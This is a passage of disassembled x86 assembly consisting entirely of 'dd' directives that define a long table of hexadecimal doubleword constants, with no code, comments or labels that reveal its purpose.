		dd 4016D8Eh, 2836E8Eh, 0FE836E8Eh, 1A42808Eh, 7100D8Eh
		dd 1901828Eh, 901848Eh,	0E04878Eh, 103898Eh, 18188B8Eh
		dd 0CD0A0E8Eh, 1E27928Eh, 0A0F938Eh, 90F938Eh, 23E988Eh
		dd 1F89B8Eh, 4639B8Eh, 0DF019C8Eh, 0A029E8Eh, 14029E8Eh
		dd 5C89E8Eh, 0B02A08Eh,	205A58Eh, 405A58Eh, 1001A98Eh
		dd 1E02118Eh, 0B81B18Eh, 0C02B18Eh, 3240C88Eh, 0DD0CD8Eh
		dd 0DE8CD8Eh, 0A40CE8Eh, 490CF8Eh, 590CF8Eh, 905D98Eh
		dd 4DFA168Eh, 147DDE8Eh, 157DDE8Eh, 133E38Eh, 101E68Eh
		dd 3C7E68Eh, 1BDE88Eh, 500FE98Eh, 4740EE8Eh, 0AC8F08Eh
		dd 64D3F68Eh, 0F64038Eh, 0FE64038Eh, 0F64208Eh,	0AC9278Eh
		dd 1EC9278Eh, 1F22A8Eh,	3401338Eh, 3501338Eh, 158348Eh
		dd 901378Eh, 1673A8Eh, 2673A8Eh, 64643C8Eh, 3201408Eh
		dd 6403428Eh, 6503428Eh, 2783498Eh, 2883498Eh, 3014A8Eh
		dd 4014A8Eh, 1014D8Eh, 5014D8Eh, 4284E8Eh, 401578Eh, 1502598Eh
		dd 6403598Eh, 303098Eh,	503098Eh, 13645A8Eh, 44645A8Eh
		dd 1245C8Eh, 12275C8Eh,	0F415C8Eh, 2925E8Eh, 9F0638Eh
		dd 270658Fh, 208698Fh, 25336A8Fh, 3FD6B8Fh, 5FD6B8Fh, 2176C8Fh
		dd 1016E8Fh, 0FE406F8Fh, 0FE596F8Fh, 0FC74748Fh, 0D0E758Fh
		dd 4206758Fh, 963778Fh,	1FE798Fh, 0FECB7E8Fh, 0DCD37E8Fh
		dd 240808Fh, 340808Fh, 0D2C9818Fh, 810828Fh, 901848Fh
		dd 5109E8Fh, 6109E8Fh, 0CD08A08Fh, 0AF8A18Fh, 2F8A18Fh
		dd 50C9A58Fh, 0FB52A68Fh, 0FC52A68Fh, 0B01A78Fh, 202A78Fh
		dd 630CA98Fh, 1FEA98Fh,	710AE8Fh, 3B0B08Fh, 6501B18Fh
		dd 18F6B68Fh, 19F6B68Fh, 1998B78Fh, 1A98B78Fh, 460BBA8Fh
		dd 6701C08Fh, 301C38Fh,	601C38Fh, 1C8C58Fh, 9680C88Fh
		dd 9880C88Fh, 3340CD8Fh, 3440CD8Fh, 401CF8Fh, 980CD28Fh
		dd 9A0CD28Fh, 4264D98Fh, 0A81D98Fh, 4281D98Fh, 401DC8Fh
		dd 1B9E08Fh, 0CA43E28Fh, 1501E38Fh, 330E38Fh, 601E58Fh
		dd 4301E78Fh, 0C3F9E78Fh, 101E98Fh, 0D20EA8Fh, 420EA8Fh
		dd 1002EB8Fh, 402EB8Fh,	0E01EC8Fh, 0F01EC8Fh, 3A02ED8Fh
		dd 4202ED8Fh, 101EF8Fh,	1901EF8Fh, 3E48F48Fh, 100F68Fh
		dd 0B101F88Fh, 303FA8Fh, 403FA8Fh, 350FC8Fh, 1402FE8Fh
		dd 214FE8Fh, 64202B8Fh,	65202B8Fh, 1802C8Fh, 101308Fh
		dd 1914328Fh, 0A02348Fh, 1202348Fh, 0A1C348Fh, 4EE358Fh
		dd 5EE358Fh, 701368Fh, 901418Fh, 0D101588Fh, 5101588Fh
		dd 70E598Fh, 80E598Fh, 16825A8Fh, 26825A8Fh, 39825A8Fh
		dd 3A825A8Fh, 41015C8Fh, 9A05D8Fh, 8308608Fh, 198F618Fh
		dd 1B8F618Fh, 0A187690h, 14187690h, 1087890h, 5AC77A90h
		dd 5DC77A90h, 3287D90h,	0A017E90h, 124B7E90h, 0F0018D90h
		dd 5C28D90h, 6C28D90h, 0AFF0F90h, 0BFF0F90h, 3401090h
		dd 2114A090h, 2115A090h, 0E60AA290h, 0AFB0A690h, 0B1B0A690h
		dd 300AA790h, 606AD90h,	4706AD90h, 1180AE90h, 802AF90h
		dd 0FAF8C190h, 1C8C690h, 33E1C690h, 22ACA90h, 10BCB90h
		dd 441CC90h, 164D390h, 0C64D490h, 0A04D490h, 0A02D590h
		dd 102D690h, 0FE05D690h, 372D790h, 472D790h, 101D890h
		dd 0AFEE490h, 0AFFE490h, 104F390h, 0A0AFB90h, 0A0CFB90h
		dd 0F15E1A90h, 2011D90h, 2811D90h, 4011E90h, 5802090h
		dd 6802090h, 1012290h, 1022290h, 0FA012590h, 2012690h
		dd 3012690h, 2642A90h, 7642A90h, 10A2C90h, 19132C90h, 0C013090h
		dd 1B040590h, 10F3390h,	2053390h, 2FB3590h, 2033690h, 11FE3990h
		dd 12FE3990h, 32FE3990h, 0E013A90h, 8AA03A90h, 10103E90h
		dd 3E03F90h, 6E03F90h, 10A4190h, 10B4190h, 0CD464990h
		dd 8154A90h, 8164A90h, 1A044B90h, 8805090h, 0C8615190h
		dd 1645290h, 29645290h,	8105390h, 9105390h, 5A0A5590h
		dd 1E145590h, 1015690h,	1285990h, 4D9E0990h, 4E9E0990h
		dd 3805A90h, 14685C90h,	15685C90h, 63145C90h, 15095C90h
		dd 16095C90h, 3E005F90h, 0C0C06090h, 10010191h,	3010191h
		dd 1E056491h, 3207591h,	4207591h, 10A0C91h, 52A0D91h, 0A3C0E91h
		dd 32441291h, 1011391h,	0DC011391h, 15D70291h, 0C7E1491h
		dd 0F34BE191h, 201E491h, 29CE591h, 0AFDE891h, 0FDFDEA91h
		dd 0F8E0EC91h, 0F9E0EC91h, 1EDED91h, 202EE91h, 1401F991h
		dd 0B02FD91h, 8B02FD91h, 0CB02FD91h, 4B02FD91h,	0FD461C91h
		dd 1821D91h, 1010391h, 4010391h, 86A01E91h, 8AA01E91h
		dd 0FD042191h, 0A7012991h, 7D22C91h, 5023491h, 6023491h
		dd 21E3A91h, 11A3D91h, 2013E91h, 3804091h, 0C044291h, 0E6274591h
		dd 0DE4F4891h, 0A674A91h, 2674D91h, 4674D91h, 14085191h
		dd 2025591h, 0EAD25891h, 3EA5991h, 3265991h, 0CB830991h
		dd 6905B91h, 2125C91h, 0FDD25D91h, 1106692h, 2106692h
		dd 0CFE6792h, 0B016B92h, 0B656B92h, 0C8C86C92h,	2026E92h
		dd 2207192h, 6207192h, 11087392h, 12087392h, 2017492h
		dd 5017492h, 0C3847A92h, 0FA8D7C92h, 1027E92h, 1567E92h
		dd 83648192h, 0A0EA8492h, 14028592h, 15028592h,	0A0088692h
		dd 3018892h, 5018892h, 5408992h, 3FE8B92h, 0D20F8D92h
		dd 86108D92h, 0D048E92h, 2409192h, 3409192h, 3359792h
		dd 9E49892h, 1E909992h,	9B019B92h, 45019B92h, 3509D92h
		dd 1D05A392h, 305A392h,	405A392h, 20AA492h, 308A492h, 901A592h
		dd 181A792h, 191A792h, 101A992h, 1801A992h, 650EAB92h
		dd 660EAB92h, 181AF92h,	381AF92h, 501B092h, 502B092h, 0A01B492h
		dd 0C09B692h, 42A3BA92h, 404BA92h, 3D8BB92h, 9E0BB92h
		dd 1021392h, 307BF92h, 100C192h, 1E50C392h, 0A1BC592h
		dd 0B1BC592h, 65B50292h, 200CA92h, 0C801CB92h, 1E0AD592h
		dd 0FE0FD992h, 8316DB92h, 0AEFDC92h, 1578DE92h,	1407DE92h
		dd 102E292h, 401E392h, 100AE492h, 201E592h, 180E792h, 680E792h
		dd 9702F592h, 1FAF692h,	41FEF992h, 42FEF992h, 2413092h
		dd 3413092h, 1020592h, 2503B92h, 13E0692h, 5EA3F92h, 6F23F92h
		dd 0B0A4092h, 0A60A4092h, 17E94192h, 4D070792h,	58080792h
		dd 41014A92h, 1FE4B92h,	5EB75392h, 3C65392h, 32015592h
		dd 2015692h, 0C8015692h, 3CFF5792h, 2035792h, 4015892h
		dd 2015E92h, 0C015F92h,	64806092h, 9806092h, 2C046392h
		dd 0D2DE6693h, 0DCDE6693h, 0E6DE6693h, 5016A93h, 5EE6D93h
		dd 373B6E93h, 4927193h,	5927193h, 0A6E7893h, 0A017A93h
		dd 0B017A93h, 16017B93h, 17017B93h, 0C8017C93h,	0C9017C93h
		dd 3C637D93h, 42637D93h, 1017E93h, 2017E93h, 1F07E93h
		dd 2F07E93h, 0B107F93h,	90127F93h, 2018193h, 1C80D93h
		dd 1018593h, 0F028693h,	0FAFA8893h, 32FC8893h, 7018993h
		dd 1E0A8A93h, 280A8A93h, 1818B93h, 0A70A0E93h, 4F808C93h
		dd 1028F93h, 0EE039093h, 2289193h, 2019993h, 3019993h
		dd 0CA079A93h, 1019B93h, 1019D93h, 1829D93h, 1029D93h
		dd 0A80A093h, 0B80A093h, 2363A093h, 401A193h, 201A293h
		dd 0B464A293h, 6402A293h, 1601A393h, 2910AC93h,	1A01AD93h
		dd 401AE93h, 501AE93h, 0F6FAF93h, 501B293h, 3401B293h
		dd 0A05B693h, 41DBBA93h, 280BC93h, 4C0BC93h, 4302BF93h
		dd 845C493h, 2C8C593h, 2CC8C593h, 8255CD93h, 105CE93h
		dd 14A3D093h, 15A3D093h, 1403D093h, 1503D093h, 28ED193h
		dd 0C021593h, 0E021593h, 1FDD293h, 0C32D393h, 0F32D393h
		dd 101D593h, 401D793h, 201E193h, 2916E193h, 5E16E193h
		dd 0D30E193h, 0A01E493h, 1334E493h, 110E693h, 10CE793h
		dd 0C10E893h, 30AF993h,	2104FB93h, 0A06FB93h, 2501FC93h
		dd 0B0AFD93h, 280AFD93h, 2F0AFD93h, 0B011A93h, 1121B93h
		dd 22001C93h, 27001C93h, 370A1D93h, 60A1D93h, 0A501F93h
		dd 11581F93h, 14012093h, 9012093h, 50F2193h, 36402993h
		dd 3C402993h, 3D402993h, 220F2D93h, 230F2D93h, 1502E93h
		dd 34323193h, 1503493h,	32063593h, 20303793h, 20603793h
		dd 4563893h, 42720693h,	6204093h, 3014193h, 1084293h, 8084693h
		dd 1B44C93h, 1E910893h,	20910893h, 2020893h, 3020893h
		dd 2085093h, 6635093h, 1F05193h, 3F05193h, 0A025393h, 3025393h
		dd 0F0C85493h, 14805693h, 15805693h, 1015793h, 2015793h
		dd 0C9015893h, 0CC015893h, 9010993h, 5015B93h, 6085B93h
		dd 0F035C93h, 14035C93h, 271E5E93h, 4026093h, 0A016193h
		dd 1076293h, 2076293h, 64A06494h, 28206494h, 2016C94h
		dd 1E0D6F94h, 53107294h, 0A047594h, 1647E94h, 2647E94h
		dd 6447F94h, 0A50D8694h, 0B118894h, 3C4C8994h, 464C8994h
		dd 0FC0F8D94h, 0FD0F8D94h, 18168E94h, 31E9694h,	2BEA494h
		dd 11CA694h, 0C884A794h, 83CAA794h, 84CAA794h, 0A08AA94h
		dd 210B694h, 1638B794h,	1FB0B894h, 190BBB94h, 9682BB94h
		dd 101BC94h, 0FE01BC94h, 0A01C494h, 0FD9FC594h,	101C994h
		dd 1D01CA94h, 3397CB94h, 3497CB94h, 366CC94h, 267CC94h
		dd 102CD94h, 0D881CE94h, 1D20CE94h, 101CF94h, 126CF94h
		dd 101D194h, 101D394h, 801D494h, 201D594h, 901D594h, 0D16D694h
		dd 101D794h, 201D894h, 1501D894h, 0F02D994h, 1E02D994h
		dd 13CDA94h, 201DC94h, 211E094h, 313E094h, 901E194h, 902E194h
		dd 101E294h, 0A01E494h,	401E494h, 66E1E694h, 301E794h
		dd 201E894h, 30FEA94h, 32DEA94h, 502EC94h, 933ED94h, 230EE94h
		dd 0F001EF94h, 3C01EF94h, 6420F194h, 7CF7F694h,	7EF7F694h
		dd 201F794h, 41FAF994h,	31D0494h, 2050494h, 0A223894h
		dd 0B223894h, 0C0E3B94h, 0B133B94h, 5000694h, 0A013D94h
		dd 0F013D94h, 0C8F94E94h, 0C9F94E94h, 0C8FF4E94h, 0C9FF4E94h
		dd 46504F94h, 4E504F94h, 15800894h, 33105194h, 0B345194h
		dd 1015594h, 3015594h, 4085894h, 7085894h, 3DD0A95h, 3016595h
		dd 3A06A95h, 64057295h,	65057295h, 1017595h, 20C7995h
		dd 40C7995h, 11067F95h,	100A8295h, 3C08495h, 3028495h
		dd 64018895h, 63018895h, 1018995h, 3018995h, 1198A95h
		dd 64018B95h, 0C80B8B95h, 2029095h, 5379495h, 37379495h
		dd 60B9595h, 1030F95h, 1DD19695h, 19FE9695h, 9019795h
		dd 5019995h, 1209A95h, 16209A95h, 1C89B95h, 2C89B95h, 3019C95h
		dd 64029C95h, 65029C95h, 0B049C95h, 3019D95h, 501A195h
		dd 101A495h, 1BBA495h, 0B0BA895h, 0FC82A895h, 0B8AA895h
		dd 1823A895h, 80BEAA95h, 2C0AB95h, 260AB95h, 101AD95h
		dd 401AD95h, 5D3AE95h, 5D5AE95h, 101AF95h, 1FDB095h, 0AC01395h
		dd 1E0AC995h, 3231D395h, 0F5BD895h, 6400D995h, 470DA95h
		dd 204DC95h, 0B08DC95h,	0C201DD95h, 0B64E995h, 10CEA95h
		dd 321EEB95h, 101EC95h,	64A0EF95h, 0F0A0EF95h, 20C1895h
		dd 2E0F295h, 0DC78FE95h, 2701C95h, 0F012795h, 9020495h
		dd 3012995h, 0A022C95h,	0C022C95h, 47043095h, 48043095h
		dd 1103695h, 51E3795h, 0FA3C3F95h, 1024195h, 0C104495h
		dd 35004995h, 1014A95h,	1004B95h, 2014C95h, 4014C95h, 1014D95h
		dd 18A4F95h, 2035295h, 3035295h, 18015995h, 2015A95h, 14016195h
		dd 1A016195h, 6016496h,	2026496h, 3026496h, 6036496h, 2ED6596h
		dd 39F86596h, 0B026C96h, 0B046C96h, 19A0B96h, 64200C96h
		dd 414C0C96h, 0C047C96h, 0D047C96h, 0A108096h, 0A628096h
		dd 10E8396h, 20E8396h, 19018C96h, 1E078C96h, 2108F96h
		dd 2508F96h, 2009196h, 22D9396h, 0F0449396h, 7010F96h
		dd 1409696h, 0CAD89F96h, 0CED89F96h, 2301A096h,	2364A096h
		dd 106A196h, 0FC06A196h, 301A296h, 701A296h, 1601A396h
		dd 282A396h, 148DA396h,	0B02A396h, 240A496h, 341A496h
		dd 0A44CA496h, 101A596h, 301A996h, 401A996h, 1F3AD96h
		dd 330CB096h, 201B296h,	201B696h, 0D204BC96h, 0D404BC96h
		dd 1081396h, 0FA081396h, 0F265BE96h, 250BF96h, 10AC396h
		dd 810AC396h, 401C596h,	8186C696h, 81EDC696h, 0B01C796h
		dd 101C896h, 208CA96h, 0A01CB96h, 1C16CB96h, 18E0CB96h
		dd 125CC96h, 128CC96h, 4102CF96h, 1A0AD096h, 1504D196h
		dd 1558D196h, 1410D496h, 1510D496h, 1202D596h, 1302D596h
		dd 301D696h, 2204D696h,	8701D996h, 20AD996h, 0A011696h
		dd 104E396h, 8128E496h,	412BE496h, 2A80E896h, 2D80E896h
		dd 1B80ED96h, 0DB0ED96h, 3306F196h, 1A0F396h, 140F396h
		dd 6409F496h, 0E209F496h, 101FA96h, 6A80FC96h, 6B80FC96h
		dd 132FD96h, 232FD96h, 2ADFE96h, 3ADFE96h, 0FB011A96h
		dd 0FC011A96h, 32FE1A96h, 3AFE1A96h, 1011B96h, 0EFB1D96h
		dd 2151E96h, 20D1F96h, 1042096h, 0BFD2396h, 4802596h, 0AFB2596h
		dd 2D22696h, 2322696h, 2482796h, 64BE2A96h, 65BE2A96h
		dd 2012B96h, 1022B96h, 32C2E96h, 42C2E96h, 0BAC2F96h, 10A3196h
		dd 1F0A3196h, 14643496h, 0FC203696h, 0FD203696h, 2043796h
		dd 4043796h, 1643996h, 30C3B96h, 3043B96h, 3043D96h, 5043D96h
		dd 1023F96h, 4064096h, 1014196h, 6034196h, 3204396h, 0B024596h
		dd 0B010796h, 0C010796h, 1584796h, 6305396h, 7045496h
		dd 0A6085496h, 3015696h, 14F85796h, 8005996h, 1800996h
		dd 3205A96h, 6205A96h, 21C5B96h, 0FA105D96h, 0FCF05D96h
		dd 2006096h, 38C6196h, 48C6196h, 1010197h, 1020197h, 0D046497h
		dd 1146597h, 2146597h, 0B106797h, 0C106797h, 1FA7C97h
		dd 1017D97h, 1208297h, 2C88497h, 0C6328497h, 2328497h
		dd 1F88797h, 82648897h,	7048D97h, 37018F97h, 0CF08F97h
		dd 15FE9097h, 16FE9097h, 1849497h, 3DE9A97h, 5DE9A97h
		dd 15809D97h, 1019F97h,	79019F97h, 15A9F97h, 0BC0A097h
		dd 0CC0A097h, 0B2CA197h, 101A497h, 701A497h, 0A1FA997h
		dd 0C3031197h, 2041197h, 3F0AA97h, 4F0AA97h, 188B697h
		dd 103BC97h, 203BC97h, 1900BD97h, 190DBD97h, 0FAFEBE97h
		dd 0A01BF97h, 29A1C197h, 2AA1C197h, 2500C497h, 2600C497h
		dd 2500C597h, 4400C597h, 0A244C597h, 2500C697h,	4400C697h
		dd 4400C997h, 249C997h,	4400CA97h, 4400CB97h, 0B47D497h
		dd 6EB4D697h, 78B4D697h, 0A4F5697h, 1095797h, 22025C97h
		dd 23025C97h, 2025E97h,	5016197h, 1FC6197h, 27D6397h, 37D6397h
		dd 2FA6397h, 0D0010198h, 16010198h, 1010A98h, 65656598h
		dd 1086598h, 67676798h,	1086798h, 2026998h, 35016A98h
		dd 1807098h, 6017598h, 8017598h, 5EB8798h, 6E508898h, 78508898h
		dd 0C91C8C98h, 0E50A9498h, 2289598h, 1B1E0F98h,	20290F98h
		dd 29290F98h, 1609898h,	7029C98h, 30109E98h, 30029E98h
		dd 30249E98h, 101A098h,	301A098h, 783BA098h, 0E89FA398h
		dd 0E99FA398h, 0EC9FA398h, 3301298h, 1150298h, 64FD0298h
		dd 0A40E298h, 940E298h,	122E498h, 1022E498h, 1FA0398h
		dd 2FA0398h, 78021E98h,	2E31F98h, 3E31F98h, 1022198h, 3140498h
		dd 13E2A98h, 13800598h,	15800598h, 2023498h, 5A54198h
		dd 0A214198h, 1734298h,	1744298h, 1004798h, 2004798h, 0C104A98h
		dd 0E104A98h, 1804B98h,	2804B98h, 82004C98h, 4E804E98h
		dd 4F804E98h, 69694F98h, 0C9385098h, 0A015198h,	11015198h
		dd 19015198h, 8025398h,	3085398h, 2FD5498h, 0E855598h
		dd 3035598h, 5015898h, 3D015898h, 0A0F5998h, 0F91C0998h
		dd 10B5B98h, 0A015C98h,	5FD5D98h, 0A015E98h, 18015E98h
		dd 0A025E98h, 2205F98h,	3816098h, 35256098h, 32016198h
		dd 14206298h, 6016398h,	0C020199h, 5600A99h, 6600A99h
		dd 2016899h, 2886899h, 64646999h, 1046A99h, 9C296B99h
		dd 1C296B99h, 0B0A6D99h, 30B0B99h, 0A226E99h, 0AE26F99h
		dd 0FE26F99h, 15057199h, 1081299h, 0FE011399h, 64FA1399h
		dd 0E6281399h, 47181499h, 0F5A1899h, 51202199h,	0AC22799h
		dd 1AC22799h, 5390499h,	1102A99h, 9102A99h, 10502D99h
		dd 11502D99h, 77FA2E99h, 1025A99h, 0F025A99h, 3055C99h
		dd 2335E99h, 1016099h, 82880B9Ah, 2880B9Ah, 22880B9Ah
		dd 42880B9Ah, 62880B9Ah, 2910B9Ah, 2920B9Ah, 2930B9Ah
		dd 0B1590B9Ah, 0B9590B9Ah, 0A6FA0F9Ah, 0AAFA0F9Ah, 0AEFA0F9Ah
		dd 0A6FB0F9Ah, 0AAFB0F9Ah, 0AEFB0F9Ah, 0A6FC0F9Ah, 0AAFC0F9Ah
		dd 0AEFC0F9Ah, 1E69209Ah, 2269209Ah, 1E6B209Ah,	226B209Ah
		dd 1E6D209Ah, 1671219Ah, 0FE3F219Ah, 181669Bh, 0AF0689Bh
		dd 0BF0689Bh, 0A02699Bh, 3300D9Bh, 0C801839Bh, 0C861839Bh
		dd 101879Bh, 820B879Bh,	122899Bh, 1224899Bh, 5018A9Bh
		dd 7669E9Bh, 2639E9Bh, 201B99Bh, 501B99Bh, 0B02BB9Bh, 14C8C29Bh
		dd 1414C69Bh, 0C05C69Bh, 200BCE9Bh, 1E0FCE9Bh, 1F64CF9Bh
		dd 2064CF9Bh, 2164CF9Bh, 90CD29Bh, 0D01D49Bh, 501D49Bh
		dd 202DF9Bh, 206E19Bh, 0CC0AE29Bh, 501E59Bh, 4501E59Bh
		dd 437EE59Bh, 0B502E59Bh, 20AE69Bh, 0A14E69Bh, 0E901E99Bh
		dd 401E99Bh, 1108EE9Bh,	1401F69Bh, 2A6F79Bh, 213F79Bh
		dd 180FA9Bh, 1288FC9Bh,	1588FC9Bh, 5397FC9Bh, 710FC9Bh
		dd 201FD9Bh, 0AFFB1F9Bh, 1E03249Bh, 6432259Bh, 90A269Bh
		dd 7012A9Bh, 59012A9Bh,	2802B9Bh, 14812B9Bh, 17502C9Bh
		dd 64302D9Bh, 65302D9Bh, 0E1202F9Bh, 0F808309Bh, 642D349Bh
		dd 352E349Bh, 101359Bh,	201359Bh, 101369Bh, 2FE399Bh, 3FE399Bh
		dd 1803A9Bh, 6401449Bh,	6501449Bh, 501459Bh, 5FE459Bh
		dd 5A01079Bh, 3015C9Bh,	2CF0019Ch, 2DF0019Ch, 79C06A9Ch
		dd 0A02749Ch, 2D4769Ch,	1170C9Ch, 2170C9Ch, 7A010E9Ch
		dd 704909Ch, 0FA6D929Ch, 101949Ch, 14FA979Ch, 0D2FF999Ch
		dd 0F2FF999Ch, 3FE119Ch, 205119Ch, 108119Ch, 316129Ch
		dd 0FA01139Ch, 0FB01139Ch, 201159Ch, 101189Ch, 1011A9Ch
		dd 10121B9Ch, 10081B9Ch, 1081C9Ch, 32011D9Ch, 101039Ch
		dd 301039Ch, 801039Ch, 20E239Ch, 11F239Ch, 229239Ch, 1201249Ch
		dd 1501249Ch, 664279Ch,	0EA052A9Ch, 0FE642B9Ch,	0A802E9Ch
		dd 3FE309Ch, 6E0B329Ch,	630B329Ch, 301349Ch, 2FE369Ch
		dd 1083E9Ch, 1A013F9Ch,	64823F9Ch, 4B823F9Ch, 0E91D3F9Ch
		dd 2FE499Ch, 0A2B44B9Ch, 6E4B4C9Ch, 0FE01509Ch,	401509Ch
		dd 303509Ch, 8FE539Ch, 101629Ch, 0B04629Ch, 0C918019Dh
		dd 201649Dh, 22D649Dh, 205669Dh, 210679Dh, 765699Dh, 64416B9Dh
		dd 1426D9Dh, 0D3386E9Dh, 3426E9Dh, 312719Dh, 101729Dh
		dd 0C5FD729Dh, 31D769Dh, 41D769Dh, 2DD0C9Dh, 0CB7C7F9Dh
		dd 1010D9Dh, 7010D9Dh, 416B849Dh, 426B849Dh, 10A889Dh
		dd 20A889Dh, 8018A9Dh, 5820E9Dh, 6820E9Dh, 2028C9Dh, 0A088E9Dh
		dd 15FE8F9Dh, 1DC919Dh,	901959Dh, 2C0969Dh, 100979Dh, 200979Dh
		dd 0CB5F979Dh, 3019E9Dh, 4019E9Dh, 0C0A9F9Dh, 3F8109Dh
		dd 2FB109Dh, 0C20A09Dh,	201A19Dh, 888A49Dh, 988A49Dh, 10AA99Dh
		dd 119A99Dh, 201119Dh, 140A119Dh, 0C803AF9Dh, 6501B29Dh
		dd 6301B39Dh, 103B59Dh,	2A2AB59Dh, 28CB69Dh, 13DB99Dh
		dd 23DB99Dh, 0A0FBD9Dh,	0F7FE139Dh, 0F8FE139Dh,	2528C19Dh
		dd 2A28C19Dh, 2005C79Dh, 0F815029Dh, 0A01149Dh,	0C84FC89Dh
		dd 6463C89Dh, 1EFCD9Dh,	2EBD09Dh, 1001159Dh, 1D3D39Dh
		dd 0AC0169Dh, 0FC0169Dh, 7DE6169Dh, 0BB2E19Dh, 0A6EE29Dh
		dd 10CE49Dh, 100A189Dh,	80A189Dh, 402F69Dh, 502F69Dh, 0E20F99Dh
		dd 0F20F99Dh, 1205199Dh, 305199Dh, 0FB0AFC9Dh, 0FC0AFC9Dh
		dd 0D01FD9Dh, 22EAFE9Dh, 32EAFE9Dh, 14401A9Dh, 2011B9Dh
		dd 32011C9Dh, 3E3219Dh,	4E3219Dh, 310069Dh, 5023E9Dh, 1013F9Dh
		dd 0FD013F9Dh, 0C902409Dh, 3101419Dh, 2164429Dh, 208439Dh
		dd 308439Dh, 201079Dh, 401079Dh, 0B09469Dh, 2205479Dh
		dd 5284C9Dh, 58584D9Dh,	0FB004E9Dh, 0FC004E9Dh,	4644F9Dh
		dd 16FE509Dh, 17FE509Dh, 108569Dh, 0BE8F589Dh, 0BD12589Dh
		dd 0BE12589Dh, 4008599Dh, 1015B9Dh, 9015B9Dh, 1015C9Dh
		dd 1045C9Dh, 0AFC5D9Dh,	1015F9Dh, 808629Dh, 4040639Dh
		dd 4140639Dh, 101669Eh,	6564689Eh, 303689Eh, 4316A9Eh
		dd 2306B9Eh, 47026C9Eh,	1006D9Eh, 7016E9Eh, 201799Eh, 2017A9Eh
		dd 9407A9Eh, 2407C9Eh, 41407C9Eh, 64017D9Eh, 0FF87E9Eh
		dd 10E849Eh, 112849Eh, 1401879Eh, 6401889Eh, 0FD018C9Eh
		dd 3F608F9Eh, 41608F9Eh, 4E608F9Eh, 0F01909Eh, 103909Eh
		dd 0E76E919Eh, 0E86E919Eh, 4313939Eh, 0C8C90F9Eh, 141F0F9Eh
		dd 0C101989Eh, 4101989Eh, 1009B9Eh, 0A9C9C9Eh, 29C9C9Eh
		dd 1EF9E9Eh, 0EFB0A19Eh, 100A29Eh, 1401A59Eh, 1A01A59Eh
		dd 3403A59Eh, 0B09A99Eh, 90AAA9Eh, 1540AA9Eh, 120B19Eh
		dd 104B69Eh, 904B69Eh, 130C19Eh, 278C29Eh, 0C810C39Eh
		dd 995C49Eh, 1E10C59Eh,	17FC99Eh, 641FCB9Eh, 0E2E1CD9Eh
		dd 0E6E1CD9Eh, 22E1CD9Eh, 26E1CD9Eh, 291FCF9Eh,	2A1FCF9Eh
		dd 1E80D09Eh, 0BFAD29Eh, 5FAD29Eh, 1008D79Eh, 208D79Eh
		dd 0AD0D99Eh, 164DC9Eh,	505DE9Eh, 805DE9Eh, 101DF9Eh, 201DF9Eh
		dd 301DF9Eh, 2896E39Eh,	2202E39Eh, 0FD0CE49Eh, 2C8E59Eh
		dd 6564E69Eh, 50CE89Eh,	60CE89Eh, 4608EA9Eh, 540F79Eh
		dd 4204FB9Eh, 704FB9Eh,	0B500269Eh, 5012A9Eh, 1042A9Eh
		dd 1A802B9Eh, 8802B9Eh,	44812B9Eh, 5C812B9Eh, 5D812B9Eh
		dd 7C02B9Eh, 0CA0D2D9Eh, 3122F9Eh, 0D7042F9Eh, 208319Eh
		dd 4CC329Eh, 2FE349Eh, 4FE349Eh, 3C6A369Eh, 4496399Eh
		dd 0F62D399Eh, 780F3B9Eh, 97F3D9Eh, 0E01409Eh, 1901409Eh
		dd 808419Eh, 0C81F479Eh, 64844A9Eh, 4B9E4B9Eh, 2801509Eh
		dd 3801539Eh, 75015D9Eh, 5015E9Eh, 5585E9Eh, 401609Eh
		dd 501609Eh, 2101619Eh,	19040A9Fh, 8217699Fh, 0FBFC6E9Fh
		dd 3C8719Fh, 4C8719Fh, 0A01739Fh, 501739Fh, 3FC749Fh, 506B799Fh
		dd 526B799Fh, 9A17F9Fh,	6ED869Fh, 0FB92899Fh, 3CFE8C9Fh
		dd 3DFE8C9Fh, 0C8948E9Fh, 0C018F9Fh, 0C90F919Fh, 5C0F919Fh
		dd 16C949Fh, 23C949Fh, 10A959Fh, 259999Fh, 5B4A49Fh, 0FEDFA99Fh
		dd 126B69Fh, 0C905139Fh, 0CA05139Fh, 507BF9Fh, 220C49Fh
		dd 211C99Fh, 432CC9Fh, 46C8CF9Fh, 0FA16D39Fh, 246D49Fh
		dd 0E820D59Fh, 113D79Fh, 6401DA9Fh, 6501DA9Fh, 182E19Fh
		dd 101E29Fh, 801E29Fh, 204E69Fh, 2204E69Fh, 201E99Fh, 1E06ED9Fh
		dd 2C8EE9Fh, 9205EE9Fh,	245EE9Fh, 0C9BFF09Fh, 640AF29Fh
		dd 650AF29Fh, 0C600F79Fh, 214199Fh, 1011C9Fh, 20A1F9Fh
		dd 3301219Fh, 5F07259Fh, 210279Fh, 0D33289Fh, 0DCFE2B9Fh
		dd 2F8309Fh, 0BFE319Fh,	564329Fh, 6EE339Fh, 14333E9Fh
		dd 1A333E9Fh, 159C429Fh, 169C429Fh, 0E15439Fh, 0F15439Fh
		dd 0FEFA459Fh, 0C8F8489Fh, 1104B9Fh, 0A954D9Fh,	4B5539Fh
		dd 5B5539Fh, 1F2C549Fh,	3B0559Fh, 81B2579Fh, 8CB3579Fh
		dd 7C85A9Fh, 8C85A9Fh, 870D5B9Fh, 0DC0F5B9Fh, 19085B9Fh
		dd 0C105C9Fh, 0D105C9Fh, 9105C9Fh, 7115D9Fh, 12000110h
		dd 13000110h, 196464A0h, 20266A0h, 0A8068A0h, 0E050BA0h
		dd 1026FA0h, 3800CA0h, 6800CA0h, 5027CA0h, 1047CA0h, 0B7D27DA0h
		dd 8CFF7DA0h, 12007EA0h, 13007EA0h, 50189A0h, 5C889A0h
		dd 320E0FA0h, 820212A0h, 1501B9A0h, 164BAA0h, 10ABEA0h
		dd 1EFBEA0h, 101C0A0h, 108C1A0h, 801C2A0h, 0B01C5A0h, 1206C6A0h
		dd 1408C7A0h, 0FE81C9A0h, 0A02CAA0h, 3FACCA0h, 0FE34D4A0h
		dd 101D8A0h, 301D8A0h, 0A01D9A0h, 0C92BDAA0h, 289DCA0h
		dd 110E3A0h, 0BE78E4A0h, 0C078E4A0h, 1DC17A0h, 8201E6A0h
		dd 209E6A0h, 0F50AEDA0h, 138EEA0h, 0A01EFA0h, 0A0AEFA0h
		dd 1FB18A0h, 0B70F0A0h,	18CF3A0h, 0A0CF4A0h, 170F5A0h
		dd 203F7A0h, 0C8FEF8A0h, 101FAA0h, 211FBA0h, 281FCA0h
		dd 944FCA0h, 0C904FDA0h, 1011AA0h, 0C6C1BA0h, 0A0A1CA0h
